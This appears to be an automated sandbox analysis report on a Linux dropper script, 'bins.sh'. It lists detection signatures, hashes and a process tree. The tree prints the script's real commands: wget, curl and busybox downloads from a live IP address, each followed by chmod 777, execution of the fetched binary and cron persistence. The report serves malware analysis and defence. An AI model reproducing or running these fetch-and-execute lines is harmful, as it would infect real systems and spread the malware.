Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

8

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    19/11/2024, 01:55

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241119-cb4avsymes
  • SHA256 e51e88e5779218a53250cdc2404b6664515c6ca70a827448aabba4fb4a819849
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (1634) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:663
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:670
        • /usr/bin/wget
          wget http://216.126.231.240/bins/THBIo5phde6bGC2Cvjbkba2vFKNevaXdZc
          2⤵
          • Writes file to tmp directory
          PID:672
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/THBIo5phde6bGC2Cvjbkba2vFKNevaXdZc
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:690
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/THBIo5phde6bGC2Cvjbkba2vFKNevaXdZc
          2⤵
          • Writes file to tmp directory
          PID:695
        • /bin/chmod
          chmod 777 THBIo5phde6bGC2Cvjbkba2vFKNevaXdZc
          2⤵
          • File and Directory Permissions Modification
          PID:696
        • /tmp/THBIo5phde6bGC2Cvjbkba2vFKNevaXdZc
          ./THBIo5phde6bGC2Cvjbkba2vFKNevaXdZc
          2⤵
          • Executes dropped EXE
          PID:697
        • /bin/rm
          rm THBIo5phde6bGC2Cvjbkba2vFKNevaXdZc
          2⤵
            PID:699
          • /usr/bin/wget
            wget http://216.126.231.240/bins/dA1JT0DKwqvKeHKSKsIvy81Mh2zL1o8nkU
            2⤵
            • Writes file to tmp directory
            PID:700
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/dA1JT0DKwqvKeHKSKsIvy81Mh2zL1o8nkU
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:703
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/dA1JT0DKwqvKeHKSKsIvy81Mh2zL1o8nkU
            2⤵
            • Writes file to tmp directory
            PID:716
          • /bin/chmod
            chmod 777 dA1JT0DKwqvKeHKSKsIvy81Mh2zL1o8nkU
            2⤵
            • File and Directory Permissions Modification
            PID:750
          • /tmp/dA1JT0DKwqvKeHKSKsIvy81Mh2zL1o8nkU
            ./dA1JT0DKwqvKeHKSKsIvy81Mh2zL1o8nkU
            2⤵
            • Executes dropped EXE
            PID:751
          • /bin/rm
            rm dA1JT0DKwqvKeHKSKsIvy81Mh2zL1o8nkU
            2⤵
              PID:753
            • /usr/bin/wget
              wget http://216.126.231.240/bins/O6qcVEW61xfEqvZ31dpIXqEMuUisyD2MMX
              2⤵
              • Writes file to tmp directory
              PID:756
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/O6qcVEW61xfEqvZ31dpIXqEMuUisyD2MMX
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:769
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/O6qcVEW61xfEqvZ31dpIXqEMuUisyD2MMX
              2⤵
              • Writes file to tmp directory
              PID:786
            • /bin/chmod
              chmod 777 O6qcVEW61xfEqvZ31dpIXqEMuUisyD2MMX
              2⤵
              • File and Directory Permissions Modification
              PID:787
            • /tmp/O6qcVEW61xfEqvZ31dpIXqEMuUisyD2MMX
              ./O6qcVEW61xfEqvZ31dpIXqEMuUisyD2MMX
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:788
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:790
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:791
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:792
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:793
                  • /bin/rm
                    rm O6qcVEW61xfEqvZ31dpIXqEMuUisyD2MMX
                    2⤵
                      PID:795
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/rccpZc5VfMnig4HRCYGvDbDvCNXo8wMLc7
                      2⤵
                        PID:798

                    Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

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                          Downloads

                          O6qcVEW61xfEqvZ31dpIXqEMuUisyD2MMX
                          • Path /tmp/O6qcVEW61xfEqvZ31dpIXqEMuUisyD2MMX
                          • Size 141KB
                          • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          THBIo5phde6bGC2Cvjbkba2vFKNevaXdZc
                          • Path /tmp/THBIo5phde6bGC2Cvjbkba2vFKNevaXdZc
                          • Size 107KB
                          • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          dA1JT0DKwqvKeHKSKsIvy81Mh2zL1o8nkU
                          • Path /tmp/dA1JT0DKwqvKeHKSKsIvy81Mh2zL1o8nkU
                          • Size 112KB
                          • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          tmp.mFVurf
                          • Path /var/spool/cron/crontabs/tmp.mFVurf
                          • Size 210B
                          • SHA256 132817dfbc573908af47e2cb7c55eeaa01a7cd5380c8b796fdfda65a53ab972e
                          • MD5 SHA1 SHA512
                          Submit Download